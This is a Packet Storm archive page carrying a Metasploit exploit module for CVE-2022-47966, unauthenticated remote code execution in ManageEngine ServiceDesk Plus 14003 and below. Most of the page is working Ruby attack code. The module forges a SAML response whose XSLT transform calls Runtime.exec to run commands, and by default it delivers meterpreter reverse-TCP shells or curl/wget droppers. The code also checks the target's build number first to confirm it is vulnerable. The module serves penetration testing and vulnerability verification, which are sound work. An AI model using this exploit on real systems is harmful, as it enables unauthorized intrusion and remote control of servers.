exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution
Posted Feb 7, 2023
Authored by Christophe de la Fuente, Khoa Dinh, horizon3ai | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2022-47966
SHA-256 | 4fbf903ff9fa864b803fbd7d746a0b2a59de1e2222a5e9821f7d2bf7760f7166

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution

Change Mirror Download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
SAML endpoint. Note that the target is only vulnerable if it has been
configured with SAML-based SSO at least once in the past, regardless of
the current SAML-based SSO status.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win', 'unix', 'linux'],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget echo lwprequest]
}
]
],
'DefaultOptions' => {
'RPORT' => 8080
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
return CheckCode::Unknown unless res

# vulnerable servers respond with 400 and a HTML body
return CheckCode::Safe unless res.code == 400

script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
return CheckCode::Unknown unless info
unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
end

# SAML 2.0 support has been added in build 10511
# see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
build = Rex::Version.new(info[:build])
unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
return CheckCode::Safe("Target build is #{info[:build]}")
end

CheckCode::Appears
end

def encode_begin(real_payload, reqs)
super

reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end

def exploit
case target['Type']
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager(delay: datastore['DELAY'])
end
end

def execute_command(cmd, _opts = {})
case target['Type']
when :windows_dropper
cmd = "cmd /c #{cmd}"
when :unix_cmd, :linux_dropper
cmd = cmd.gsub(' ') { '${IFS}' }
cmd = "bash -c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')

assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="#{assertion_id}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
EOS

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})

unless res&.code == 500
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
end
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
end

res
end

end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close